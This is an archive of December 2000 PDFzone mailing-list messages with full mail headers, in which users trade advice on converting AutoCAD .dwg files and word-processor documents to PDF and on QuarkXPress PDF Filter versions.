everglades.binc.net (8.8.8/8.8.8) id KAA10847; Tue, 26 Dec 2000 10:16:57 -0600 Received: from smtp.digapp.com ([38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id KAA10843 for ; Tue, 26 Dec 2000 10:16:56 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 87826 via TCP with SMTP; Tue, 26 Dec 2000 11:17:55 -0500 Mime-Version: 1.0 X-Sender: leonardr@smtp.digapp.com Message-Id: In-Reply-To: References: Date: Tue, 26 Dec 2000 11:12:27 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: Re: [PDF] Converting AutoCad and .dwg files to PDF Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 8:00 AM -0700 12/26/00, C. Scott Miller wrote: >I don't own AutoCad. I need to know if it is possible to convert AutoCad >files to PDF using Distiller or any other means. The only program that I know of that MIGHT do the job, as it handles lot of other file formats, is PDFDocConverter (). >Also, my client has a large number of AutoCad files that have been saved as >.dwg files. Can these be converted to PDF without reopening them in AutoCad? > See above ;). Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 26-Dec-2000 22:11:34-GMT,4131;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA12086 for ; Tue, 26 Dec 2000 15:11:33 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA24563; Tue, 26 Dec 2000 15:48:28 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 26 Dec 2000 15:41:08 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA24243; Tue, 26 Dec 2000 15:41:03 -0600 Received: from hqvsbh1.ms.com (hqvsbh1.ms.com [205.228.12.103]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA24220 for ; Tue, 26 Dec 2000 15:40:56 -0600 Received: (from uucp@localhost) by hqvsbh1.ms.com (8.9.3/fw v1.30) id QAA15848 for ; Tue, 26 Dec 2000 16:40:53 -0500 (EST) Received: from localhost(127.0.0.1) by hqvsbh1 via smap (4.1) id sma.9778668481.015694; Tue, 26 Dec 00 16:40:48 -0500 Received: (from uucp@localhost) by hqvsbh1.ms.com (8.9.3/8.9.3(vs)) id QAA15678 for ; Tue, 26 Dec 2000 16:40:48 -0500 (EST) X-Authentication-Warning: hqvsbh1.ms.com: Processed from queue /var/spool/mqueue-vs X-Authentication-Warning: hqvsbh1.ms.com: Processed by uucp with -C /etc/mail/sendmail.vs.cf Received: from hasmh2.ms.com(138.20.197.38) by hqvsbh1 via smap (4.1) id sma.9778668461.015665; Tue, 26 Dec 00 16:40:46 -0500 Received: from msdw.com (hqcspc50.morgan.com [144.14.98.243]) by hasmh2.ms.com (8.8.5/imap+ldap v2.4) with ESMTP id VAA21918 for ; Tue, 26 Dec 2000 21:40:46 GMT Message-ID: <3A49105C.8E0FF3D8@msdw.com> Date: Tue, 26 Dec 2000 16:40:45 -0500 From: Don Montalvo Organization: Morgan Stanley Dean Witter IBD Creative Services X-Mailer: Mozilla 4.76 (Macintosh; U; PPC) X-Accept-Language: en-US,pdf MIME-Version: 1.0 To: PDF List Subject: [PDF] QuarkXPress PDF Filter question Content-Type: multipart/mixed; boundary=""------------12233087FE41BEF9BA2BB2E8"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ This is a multi-part message in MIME format. --------------12233087FE41BEF9BA2BB2E8 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, We have users who need to place version 4 PDF's into Quark documents that may or may not have to be passed along to PC users to work on. Right now our users have PDF Filter 1.4, which only allows you to place version 3 PDF's. If we give our Mac users PDF Filter 1.51 so they can place version 4 PDF's, will the next user (probably on a PC) be able to work on that document? Will the PC user need an updated PDF Filter also? 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I need it broken down into easily digestable chunks...like a step-by-step list of instructions. Don --------------71D2D5D25BA923A913327ED0 Content-Type: text/x-vcard; charset=us-ascii; name=""Don.Montalvo.vcf"" Content-Transfer-Encoding: 7bit Content-Description: Card for Don Montalvo Content-Disposition: attachment; filename=""Don.Montalvo.vcf"" begin:vcard n:Montalvo;Don tel;pager:917-675-2265 tel;home:Page mail: 9176752265@airmessage.net tel;work:212-761-6014 x-mozilla-html:FALSE url:http://www.msdw.com org:Morgan Stanley Dean Witter;IBD Creative Services adr:;;1585 Broadway CSBANK;New York;NY;10036;USA version:2.1 email;internet:don.montalvo@msdw.com title:Macintosh Systems Administrator note:Please send me your alphanumeric beep via email ---> 9176752265@airmessage.net <--- Please give as many details as possible. x-mozilla-cpt:;3 fn:Don Montalvo end:vcard --------------71D2D5D25BA923A913327ED0-- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 27-Dec-2000 0:57:21-GMT,3850;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id RAA15064 for ; Tue, 26 Dec 2000 17:57:20 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id SAA32391; Tue, 26 Dec 2000 18:49:56 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 26 Dec 2000 18:44:35 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id SAA32110; Tue, 26 Dec 2000 18:44:33 -0600 Received: from smtp.wanadoo.es (m1smtpisp01.wanadoo.es [62.36.220.61] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id SAA32106 for ; Tue, 26 Dec 2000 18:44:32 -0600 Received: from terra (ctv21225142028.ctv.es [212.25.142.28]) by smtp.wanadoo.es (8.10.2/8.10.2) with SMTP id eBR0iJw26639 for ; Wed, 27 Dec 2000 01:44:19 +0100 (MET) Message-ID: <006301c06f9d$e749dca0$6a28fea9@terra.es> From: ""La Oficina Sin Papel"" To: References: <852569C1.004FA320.00@CIN2_DG02.GREATAMINS.COM> Subject: RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Date: Wed, 27 Dec 2000 01:40:46 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Bob, I think there's been some misunderstanding here. When I say: > You don't need to do ""Image + text"" PDF's but ""normal"" PDF's. (That is, > completely electronic text). If you wish, you may embed the original fonts. > > After converting the docs to PDF, they'll be as searcheable (probably more) > than the others (Image + text). I'm referring to originally electronic docs exclusively, and not to originally paper docs. I would not give advice in that sense. Of course when you start with paper docs, you have to do a couple of elections. One of them is to choose between ""Image+hidden text"" vs ""Normal"", depending, as you say, on the tipe of job but, when you start with electronic docs, there's not text to hide. ... and the question, if well understood, refers exclusively to electronic files (Wordperfect, RTF, MS Word, etc) I hope it's clearer now. Carlos. > The discussion about ""Image + text"" PDF's or ""normal"" PDF's would depend on how > important exact replication is to the user. Correct? For example, insurance > documents (with images) would most likely use ""Image"" PDF's rather than ""Normal"" > PDFs because the need for exact replication of the document is important in > order to comply with state filings. My point is to be careful on selecting > ""Image + text"" or ""Normal"" PDF formats. > The reason you are using Capture is because your are converting ""images"" to > PDF format. (You are starting from paper..) Orig. question >I have thousands of files in WordPerfrct, MS Word >and in RTF >(Rich Test Format) that I would like to convert to the same (Acrobat PDF >(Image + Hidden Text)) format, or at least in a searchable form that is >compatable with Acrobat PDF (Image + Hidden Text). Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 27-Dec-2000 1:38:03-GMT,5811;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id SAA15774 for ; Tue, 26 Dec 2000 18:38:01 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id TAA01619; Tue, 26 Dec 2000 19:25:19 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 26 Dec 2000 19:19:59 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id TAA01348; Tue, 26 Dec 2000 19:19:58 -0600 Received: from pimout1-int.prodigy.net (pimout1-ext.prodigy.net [207.115.63.77]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id TAA01344 for ; Tue, 26 Dec 2000 19:19:55 -0600 Received: from computer (A090-0287.LSAN.splitrock.net [209.255.239.33]) by pimout1-int.prodigy.net (8.11.0/8.11.0) with SMTP id eBR1Jra104136 for ; Tue, 26 Dec 2000 20:19:54 -0500 Message-ID: <005801c06fa3$1db92840$21efffd1@computer> From: ""Marti"" To: References: <002201c06ee9$ed849ba0$15eeffd1@computer> Subject: Re: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Date: Tue, 26 Dec 2000 17:19:50 -0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0055_01C06F60.0DE30820"" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ This is a multi-part message in MIME format. ------=_NextPart_000_0055_01C06F60.0DE30820 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable To all who responded: =20 I want to thank you all for your assistance (Carlos, Leonard, Bob, Paul, = etc.), I will be trying this as soon as I can. Thanks again. ----- Original Message -----=20 From: Marti=20 To: pdf@lists.pdfzone.com=20 Sent: Monday, December 25, 2000 7:14 PM Subject: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text = Format) to PDF ""Hidden Text"" Hi PDF group: I am presently using Adobe Capture 2.01 to convert paper documents to = searchable documents using Acrobat PDF (Image + Hidden Text). It is = very searchable. I have thousands of files in WordPerfrct, MS Word and = in RTF (Rich Test Format) that I would like to convert to the same = (Acrobat PDF (Image + Hidden Text)) format, or at least in a searchable = form that is compatable with Acrobat PDF (Image + Hidden Text). Could someone point me to a reference or a procedure? Thanks for any information. ------=_NextPart_000_0055_01C06F60.0DE30820 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable To all who responded:  = I want to thank you all for your = assistance=20 (Carlos, Leonard, Bob, Paul, etc.), I will be trying this as soon as I=20 can.  Thanks again.     ----- Original Message ----- From:=20 Marti To: pdf@lists.pdfzone.com Sent: Monday, December 25, 2000 = 7:14=20 PM Subject: [PDF] Converting = WordPerfect, MS=20 Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Hi PDF group:   I am presently using Adobe Capture = 2.01 to=20 convert paper documents to searchable documents using Acrobat PDF = (Image +=20 Hidden Text).  It is very searchable.  I have thousands of = files in=20 WordPerfrct, MS Word and in RTF (Rich Test Format) that I would like = to=20 convert to the same (Acrobat PDF (Image + Hidden Text)) format, or at = least in=20 a searchable form that is compatable with Acrobat PDF (Image + Hidden=20 Text).   Could someone point me to a reference = or a=20 procedure?   Thanks for any=20 information. ------=_NextPart_000_0055_01C06F60.0DE30820-- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 27-Dec-2000 9:12:06-GMT,1867;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id BAA23407 for ; Wed, 27 Dec 2000 01:44:54 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id CAA17693; Wed, 27 Dec 2000 02:26:27 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 27 Dec 2000 02:17:56 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id CAA17157; Wed, 27 Dec 2000 02:17:53 -0600 Received: from smtp02.upm-kymmene.com (khsmtp01.upm-kymmene.com [194.252.225.77] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id CAA17153 for ; Wed, 27 Dec 2000 02:17:51 -0600 From: Adair.Broughton@upm-kymmene.com Subject: Re: [PDF] Converting AutoCad and .dwg files to PDF To: pdf@lists.pdfzone.com Date: Wed, 27 Dec 2000 08:17:31 +0000 Message-ID: X-MIMETrack: Serialize by Router on smtp02/UPM(Release 5.0.4 |June 8, 2000) at 27.12.2000 10:19:02 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I use a viewer ( a lot cheaper than cad ) and print to pdf. A free viewer is available from Autodesk Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 27-Dec-2000 9:46:03-GMT,3138;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id CAA24378 for ; Wed, 27 Dec 2000 02:46:02 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id DAA21148; Wed, 27 Dec 2000 03:27:59 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 27 Dec 2000 03:22:16 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id DAA20899; Wed, 27 Dec 2000 03:22:11 -0600 Received: from mailhub7.isdnet.net (mailhub7.isdnet.net [195.154.209.27]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id DAA20895 for ; Wed, 27 Dec 2000 03:22:08 -0600 Received: from [192.168.1.244] (ppp10-sophia.isdnet.net [194.149.168.137]) by mailhub7.isdnet.net (8.9.3/8.9.3) with ESMTP id KAA13962 for ; Wed, 27 Dec 2000 10:22:05 +0100 (CET) User-Agent: Microsoft Outlook Express Macintosh Edition - 5.0 (1513) Date: Wed, 27 Dec 2000 10:28:13 +0100 Subject: 8. [PDF] Converting AutoCad and .dwg files to PDF From: Pascal Saulay To: Message-ID: In-Reply-To: <200012270817.CAA17176@everglades.binc.net> Mime-version: 1.0 Content-type: text/plain; charset=""ISO-8859-1"" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by everglades.binc.net id DAA20896 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ le 27/12/00 9:17, pdf-digest � owner-pdf-digest@lists.pdfzone.com a �crit�: > pdf-digest Wednesday, December 27 2000 Volume 02 : Number 956 > > > 8. [PDF] Converting AutoCad and .dwg files to PDF > > Date: Tue, 26 Dec 2000 08:00:48 -0700 > From: ""C. Scott Miller"" > Subject: [PDF] Converting AutoCad and .dwg files to PDF > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > I don't own AutoCad. I need to know if it is possible to convert AutoCad > files to PDF using Distiller or any other means. > > Also, my client has a large number of AutoCad files that have been saved as > ..dwg files. Can these be converted to PDF without reopening them in AutoCad? > > > TIA, > > - -- > C. Scott Miller > Performance Graphics > miller@performancegraphics.com You can try Flat Out and AutoXChange. You can download demo at http://www.tailormade.com/products.htm Have a good job ! Pascal Saulay psaulay@arpp.fr Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 27-Dec-2000 14:19:06-GMT,6007;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA28687 for ; Wed, 27 Dec 2000 07:19:05 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA32245; Wed, 27 Dec 2000 08:04:02 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 27 Dec 2000 07:57:50 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id HAA31990; Wed, 27 Dec 2000 07:57:49 -0600 Received: from mail.gai-global.com ([63.66.130.67]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA31986 for ; Wed, 27 Dec 2000 07:57:48 -0600 Received: from CIN2_DG02.GREATAMINS.COM (unverified) by mail.gai-global.com (Content Technologies SMTPRS 2.0.15) with SMTP id for ; Wed, 27 Dec 2000 08:52:32 -0500 Received: by CIN2_DG02.GREATAMINS.COM(Lotus SMTP MTA v4.6.4 (830.2 3-23-1999)) id 852569C2.004C367D ; Wed, 27 Dec 2000 08:52:26 -0500 X-Lotus-FromDomain: AFG From: ""Bob Riddle"" To: pdf@lists.pdfzone.com Message-Id: <852569C2.004C3508.00@CIN2_DG02.GREATAMINS.COM> Date: Wed, 27 Dec 2000 08:49:17 -0500 Subject: RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Your right. Sorry for going in a different direction. Thanks for reminding me of the content in the original question. ""La Oficina Sin Papel"" on 12/26/2000 07:40:46 PM Please respond to pdf@lists.pdfzone.com |--------+--------------------------------------------------------> | | | |To: |pdf@lists.pdfzone.com | |--------+--------------------------------------------------------> >---------------| | | >---------------| |--------+--------------------------------------------------------> |cc: | (bcc: Bob Riddle/BIS/GAIC) | |--------+--------------------------------------------------------> >---------------| | | >---------------| |--------+--------------------------------------------------------> |bcc: |Bob Riddle/BIS/GAIC | |--------+--------------------------------------------------------> >---------------| | | >---------------| |--------+--------------------------------------------------------> |Subject:|RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich | | |Text Format) to PDF ""Hidden Text"" | |--------+--------------------------------------------------------> >---------------| | | >---------------| |------------------| |----------------------| | [ ] Confidential | | [ ] For My Eyes Only | |------------------| |----------------------| The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Bob, I think there's been some misunderstanding here. When I say: > You don't need to do ""Image + text"" PDF's but ""normal"" PDF's. (That is, > completely electronic text). If you wish, you may embed the original fonts. > > After converting the docs to PDF, they'll be as searcheable (probably more) > than the others (Image + text). I'm referring to originally electronic docs exclusively, and not to originally paper docs. I would not give advice in that sense. Of course when you start with paper docs, you have to do a couple of elections. One of them is to choose between ""Image+hidden text"" vs ""Normal"", depending, as you say, on the tipe of job but, when you start with electronic docs, there's not text to hide. ... and the question, if well understood, refers exclusively to electronic files (Wordperfect, RTF, MS Word, etc) I hope it's clearer now. Carlos. > The discussion about ""Image + text"" PDF's or ""normal"" PDF's would depend on how > important exact replication is to the user. Correct? For example, insurance > documents (with images) would most likely use ""Image"" PDF's rather than ""Normal"" > PDFs because the need for exact replication of the document is important in > order to comply with state filings. My point is to be careful on selecting > ""Image + text"" or ""Normal"" PDF formats. > The reason you are using Capture is because your are converting ""images"" to > PDF format. (You are starting from paper..) Orig. question >I have thousands of files in WordPerfrct, MS Word >and in RTF >(Rich Test Format) that I would like to convert to the same (Acrobat PDF >(Image + Hidden Text)) format, or at least in a searchable form that is >compatable with Acrobat PDF (Image + Hidden Text). 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You will need to know the size of the AutoCAD drawing as it will likely not be your default distiller setting. If you have the size right, it works beautifully. Occasionally, I've had to rotate pages (but I've had to do this with FrameMaker and Word too, so they all equally bother me). Paul +++++ C. Scott Miller wrote: I don't own AutoCad. I need to know if it is possible to convert AutoCad files to PDF using Distiller or any other means. Also, my client has a large number of AutoCad files that have been saved as .dwg files. Can these be converted to PDF without reopening them in AutoCad? TIA, - -- C. Scott Miller Performance Graphics miller@performancegraphics.com PDF Research Companion A Designer's Guide to Adobe's Portable Document Format http://www.pdfresearch.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 27-Dec-2000 16:21:25-GMT,3528;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA01087 for ; Wed, 27 Dec 2000 09:21:24 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA05838; Wed, 27 Dec 2000 10:06:42 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 27 Dec 2000 10:01:05 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA05525; Wed, 27 Dec 2000 10:01:02 -0600 Received: from tweety.alliedmachine.com (alliedmachine.com [206.69.132.13] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with SMTP id KAA05511 for ; Wed, 27 Dec 2000 10:00:54 -0600 Received: from 10.96.11.51 by tweety.alliedmachine.com (InterScan E-Mail VirusWall NT); Wed, 27 Dec 2000 10:58:18 -0500 (Eastern Standard Time) Received: from alliedmachine.com ([10.96.12.110]) by buzzard.alliedmachine.com (Netscape Messaging Server 3.5) with ESMTP id 641 for ; Wed, 27 Dec 2000 10:57:05 -0500 Message-ID: <3A4A118C.5930F563@alliedmachine.com> Date: Wed, 27 Dec 2000 10:58:04 -0500 From: ""Rob McKinley"" Organization: Allied Machine & Engineering Corp. X-Mailer: Mozilla 4.5 [en]C-CCK-MCD (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] Converting AutoCad and .dwg files to PDF References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Yes. You can export postscript files from AutoCAD. The postscript files can be distilled. Unless there is a reliable batch conversion utility to convert dwg to postscript, each drawing will have to be opened and exported separately. Hijaak Pro is capable of batch conversions like this but I have had inconsistent results with it. ""C. Scott Miller"" wrote: > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > I don't own AutoCad. I need to know if it is possible to convert AutoCad > files to PDF using Distiller or any other means. > > Also, my client has a large number of AutoCad files that have been saved as > .dwg files. Can these be converted to PDF without reopening them in AutoCad? > > TIA, > > -- > C. Scott Miller > Performance Graphics > miller@performancegraphics.com > > PDF Research Companion > A Designer's Guide to Adobe's Portable Document Format > http://www.pdfresearch.com > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- -- Robert McKinley Design Engineer Allied Machine & Engineering Corp. 330-343-4283 ext. 7283 FAX 364-7666 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 27-Dec-2000 18:03:19-GMT,2450;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id LAA03160 for ; Wed, 27 Dec 2000 11:03:17 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA12296; Wed, 27 Dec 2000 11:54:47 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 27 Dec 2000 11:49:16 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA11972; Wed, 27 Dec 2000 11:49:15 -0600 Received: from isomedia.com (root@gollum.isomedia.com [207.115.64.29]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA11965 for ; Wed, 27 Dec 2000 11:49:13 -0600 Received: from lynn.cognosinc.com (rsvp-208-187-1-54.ac01.tkwl.eli.net [208.187.1.54]) by isomedia.com (8.9.3/8.9.3) with ESMTP id JAA03449 for ; Wed, 27 Dec 2000 09:49:10 -0800 Message-Id: <4.3.2.7.2.20001227094217.00b1fb50@mail.cognosinc.com> X-Sender: lmead@mail.cognosinc.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 27 Dec 2000 09:49:03 -0800 To: pdf@lists.pdfzone.com From: Lynn Mead Subject: [PDF] Converting AutoCad and .dwg files to PDF Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ There is a free viewer from Autodesk called Volo View Express. It will open both .dwg and .dwf files. In addition you can turn layers off and on and choose to print in B&W or Color. I print to the Distiller printer with good results. The only problem I have encountered is that sometimes the resulting PDF is rotated (easily fixed in Acrobat). Lynn Mead Acrobat 4 A.C.E. Cognoscenti Inc. Adobe Solution Sales Provider Sales, Training and Consulting 425-271-2878 lmead@cognosinc.com http://www.cognosinc.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 27-Dec-2000 19:06:44-GMT,3994;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id MAA04518 for ; Wed, 27 Dec 2000 12:06:43 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA16005; Wed, 27 Dec 2000 12:50:21 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 27 Dec 2000 12:45:00 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA15645; Wed, 27 Dec 2000 12:44:59 -0600 Received: from megamail.dsl.net (megamail.dsl.net [209.87.64.97]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA15641 for ; Wed, 27 Dec 2000 12:44:58 -0600 Received: from goprep.com (64-51-1-106.client.dsl.net [64.51.1.106]) by megamail.dsl.net (8.9.3/8.9.3) with ESMTP id NAA04107 for ; Wed, 27 Dec 2000 13:44:56 -0500 Message-ID: <3A4A396E.EC74DEB4@goprep.com> Date: Wed, 27 Dec 2000 13:48:44 -0500 From: cjmarch X-Mailer: Mozilla 4.73 (Macintosh; U; PPC) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] mac can do cadmiver 5.x References: <3A4A118C.5930F563@alliedmachine.com> Content-Type: text/plain; charset=us-ascii; x-mac-type=""54455854""; x-mac-creator=""4D4F5353"" Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ if you are on a mac, cadmover is an app. that can convert dwg. files to postscript, illustrator, etc. i dont know about scripting it, but i think applescript would do an excellent job of auto-processing 'batch' files. hope this helps. cjmarch Rob McKinley wrote: > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Yes. You can export postscript files from AutoCAD. The postscript files can be > distilled. Unless there is a reliable batch conversion utility to convert dwg > to postscript, each drawing will have to be opened and exported separately. > Hijaak Pro is capable of batch conversions like this but I have had inconsistent > results with it. > > ""C. Scott Miller"" wrote: > > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > > __________________________________________________________________ > > > > I don't own AutoCad. I need to know if it is possible to convert AutoCad > > files to PDF using Distiller or any other means. > > > > Also, my client has a large number of AutoCad files that have been saved as > > .dwg files. Can these be converted to PDF without reopening them in AutoCad? > > > > TIA, 